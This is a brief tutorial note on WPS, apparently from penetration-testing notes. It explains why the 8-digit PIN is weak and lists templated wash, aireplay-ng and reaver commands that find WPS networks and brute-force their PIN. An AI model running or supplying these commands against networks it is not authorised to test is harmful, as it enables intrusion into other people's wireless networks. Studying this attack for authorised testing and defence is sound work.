WPS

WPS (Wi-Fi Protected Setup) is a feature designed to simplify the process of connecting devices to a Wi-Fi network. It was introduced to make it easier for non-technical users to set up secure wireless connections between devices (e.g., routers, smartphones, printers) without manually entering the network's secret password.

The issue with WPS is that it is an 8-digit pin, which can quickly be brute-forced.

Note that these attacks were done using a Wi-Fi adapter such as this Alfa Wi-Fi Adapter.

## Find all networks nearby with WPS-enabled
wash --interface [interface]

## Associate your wireless adapter with the target AP
aireplay-ng --fakeauth [time interval] -a [target bssid] -h [interface bssid] [interface]

## Brute force the 8-digit pin for WPS
reaver --bssid [target bssid] --channel [channel] --interface [interface name] -vvv --no-associate
